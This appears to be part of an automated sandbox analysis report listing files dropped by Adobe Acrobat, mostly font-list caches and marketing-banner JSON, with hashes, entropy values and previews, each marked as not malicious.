Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6188

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6188

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323020756487022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJM3g98kUwPeUkwRe9:YvXKX8DX4UYpW7+uEVGMbLUkee9
MD5:	0377E6BDCD4352F32CAB9E803ED1F8FA
SHA1:	C56ABBA2FB2B37F1C07D3629F535FB08F7505AE0
SHA-256:	098979D6810547A870FC3ED5A9A5FD32AFE5CDC64BAEC412DB6CCE866079297B
SHA-512:	451BB35920B4B90AF7E82B29E6D7A96C9C5AF8909456D48D244E885ECB0A971D06A107619D4C719F2B9FF608B53B996FADDC3A6C27532AB75CCEE900881ED73B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.264337065754623
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfBoTfXpnrPeUkwRe9:YvXKX8DX4UYpW7+uEVGWTfXcUkee9
MD5:	90D4D87463B7ADCC8253291015D4686C
SHA1:	1C0E752AEA0A5BA7FBCCE85516583647141B4F2A
SHA-256:	F99F429911A9D3117FEC8A0EFDE6CF3B06348AFED9358ABBB3FE72C24FDFEC59
SHA-512:	4529B1337482FEC0C844FE7FAA9A0DA96D26F7BC85DBDFB947DDDAE628C388C299E7BC8D7FF8169E73332FD0E7470C4A8CD3651AFEA8AED08E6415ABC63C44B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.242289665753984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfBD2G6UpnrPeUkwRe9:YvXKX8DX4UYpW7+uEVGR22cUkee9
MD5:	61EA05C9D612BFEB03153505217F28E6
SHA1:	0A98002A54114A6CC55B990D87F869A611DB32DD
SHA-256:	3595D0D6678DB8E22F3F78131F7D0049768679B28AA36082B6770A5F23523C39
SHA-512:	4A32DBF66220B0B48924C302951C8E431AC8D31DF83E207D18ABDCB7AA57F7B82D0429CE21E56928F6F75F4F4F59D4227832F2A3D44C663CA0F7991E87DB3B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3004981032697245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfPmwrPeUkwRe9:YvXKX8DX4UYpW7+uEVGH56Ukee9
MD5:	AB82BD4307C7F933325A920CB10EF70D
SHA1:	182E0D7BACC4912806682A8A5F2D3ECE707BC18B
SHA-256:	1B87997ECD70BFE9C556A1B571527A821AF2EE119C90AA0657B2A8CC05AEC9E8
SHA-512:	333E3E47F04A1105AE5294B707B016B35425A9C91B06B5D8C058CB84C55A8F39A1F8EEF56B7E8EDB163FFA78FDA7D20D52D0FFF4D2711CDE86F57AFDDE52E195
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6841749453097234
Encrypted:	false
SSDEEP:	24:Yv6X8DXAik6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSk8:YvnDXXphgy6SAFv5Ah8cv/k8
MD5:	B100CABC4864EF79E595F1A680FECEDB
SHA1:	223B65973551A73D9C639EFD9B589C7509FA5341
SHA-256:	B0DCD393BCD7889B740442A7B2FBD0F2DB7DFC62385AF0DF37935732AED9ABF8
SHA-512:	B7A9C80039D1322DAA8364B96ABCAC8898B42C9DA5030AC1033A42C0105A977B4B7810C94D17FD1C6A38F8D8745A8FF11C9659C6F09DF76A25484DA533356568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.246170594853204
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJf8dPeUkwRe9:YvXKX8DX4UYpW7+uEVGU8Ukee9
MD5:	35D5B28E923D182935F04F06787038CF
SHA1:	F59FFD65883CBE5A736B1E2E6A49CFA763AD52CC
SHA-256:	8B8D41953DA50CD577DCB687F0BB89650E191D1C7671AB66C1EF47160F95169A
SHA-512:	2A7184186EEB54BF0735B855E6AB7CCD8AC56CD64BCA8E19A9E4BB0B39EE7CD0AEC4FD66C070B66068F05C8866906C95910496B2893B2E7FD06A989511D0B6D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.249369557810937
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfQ1rPeUkwRe9:YvXKX8DX4UYpW7+uEVGY16Ukee9
MD5:	96632E1C308472751933AFFAD8B431BB
SHA1:	DEEA651C423B0000DF9CFE7E0641E589ADFA45F4
SHA-256:	67F8967029236C7E2942FD7D07DD79ED47744DFB0B9DE76446D1E61B71530273
SHA-512:	1267098825DDB33F03CD3D76A6941FA2E7725F0D899D42269C4212A33B88BCEDD64F32FAAF4054F56C60C637E3DF8FAE97D39A971789BF4CAF42FFF242DC67DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267692823783129
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfFldPeUkwRe9:YvXKX8DX4UYpW7+uEVGz8Ukee9
MD5:	C22ED83E9F4C23CD876D7E473EAC26BD
SHA1:	5D97366A626ACA2EEB1C7F8F5AE3B304DBBC0B3A
SHA-256:	2EF88C3965A5AB1CBC80C42FE49FE781AA093DD1CA8E6493DDD7CC8DC0BAD7F0
SHA-512:	A09F41895DB6C877AB1637DA16EB152DB158CA0E9E89C19882EB678F38497594C910BED7A87326570842D71392958D5AC385D6CAEC4A7A5B6A67C2D8E5920331
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2740186193608585
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfzdPeUkwRe9:YvXKX8DX4UYpW7+uEVGb8Ukee9
MD5:	267AA1C2966E65EEF582F9B75AB2A682
SHA1:	BF07816B6C335C15BBFBDBACE97AEC5F7F2252BA
SHA-256:	A314FA628D74B0FE06F031645B001DB737878C2866551A0BE6E9E2EE80044285
SHA-512:	DD84EDAFF4099F81B30B465E6FAB7DFAF5D9E213F6D38465059319486FE7C077AE3BDFC1F4A542799266A5277EA6B71D8585EF4E972987FCD8478CAC480F6579
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.254748791192034
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfYdPeUkwRe9:YvXKX8DX4UYpW7+uEVGg8Ukee9
MD5:	790395F0F30F27D1196588A7E4BC4CBC
SHA1:	C503FF20C86DA1D1D8B51E77CE643DCB13910CD3
SHA-256:	16C612EED69A41F9E147702BBAD23A5050B6FA07B4BA69650C2DA1127A99EC75
SHA-512:	6458AE164BA7EED3FE95779B51B16836C84A68157D1CFBD239DE6EF28BD822335AE285CC33E39D0DF8135C3E901AEDC829AE734B3C4179ED4B7DE30BF32F05FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.23968478627046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJf+dPeUkwRe9:YvXKX8DX4UYpW7+uEVG28Ukee9
MD5:	E3DA050B7F82DAE0C03A2F20267C62CB
SHA1:	1C5F500D063E87D6C8E38189393721BBFABBE705
SHA-256:	3BBB9FF1952CBDBFF5E73497CDA9B1CABA3668FCB749171C16FDAA543FB84BDF
SHA-512:	576699481C7AC918BDBCD48E51302D046F6260F9584482DD817A2598ED3D1498F1DE13925C5EF513E859C23126F6E92F5AEE511F21EB4F5B088DDCA841601077
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.23860689373743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJfbPtdPeUkwRe9:YvXKX8DX4UYpW7+uEVGDV8Ukee9
MD5:	878003249F7F6BE21E67E75ED2817CF3
SHA1:	C218D9E1EE12EC02397F7DEB180319BD32496014
SHA-256:	F63CE932E3672E27EE1FC797C3CB03151747BEAC0FAF42CDDFCAE1CF51369EF8
SHA-512:	DC1B9D362FF855BBAE01C79CB6EF8446192DBCD38277BBB5A9DD83B2191080ACBCCD56575197099A137E657D314F73F790A1C2ADCA810AB8818821F926B6D6A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.240745182231955
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHcDqpQ4x+FIbRI6XVW7+0Y/fWEeoAvJf21rPeUkwRe9:YvXKX8DX4UYpW7+uEVG+16Ukee9
MD5:	698AAA988490601AD60DCB1D62EFD820
SHA1:	E8E93A3636B25C980F55290F38F7A78D5FE08954
SHA-256:	02B77A3820CB54A2DF363BF80E032D13920507BBA9539A4E1A83E1C7CF99BDB6
SHA-512:	3DEB8EEB3544F9D99ADDB3FA1C53B41B3652013A00DD879D91A52771358640A3D9FC0870EED96944B3452DDF56CEEE914B46D39111A0A5898F2AA6F788E6D2A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655214375368409
Encrypted:	false
SSDEEP:	24:Yv6X8DXAikmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSk8:YvnDXXlBgkDMUJUAh8cvMk8
MD5:	26E74C738E6696113012717657FB30BD
SHA1:	C38117D2E7894D03E793F46365F03814D29C98B9
SHA-256:	9F0177750050038A8B90BADB7506DA20868F4DFF9B818F626F5031F6394C9FFC
SHA-512:	74DFF110F457B5739323ABB8AC58D67D2BB2E51ED1D6A0BA5543EC74D471409D7823E46F71BF6021C0D2BB67739B35EF18568425CAEB37E76D1030EF8C2E6C4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c0c9a029-72a4-4b32-ab43-421a38aa865d","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736736373902,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

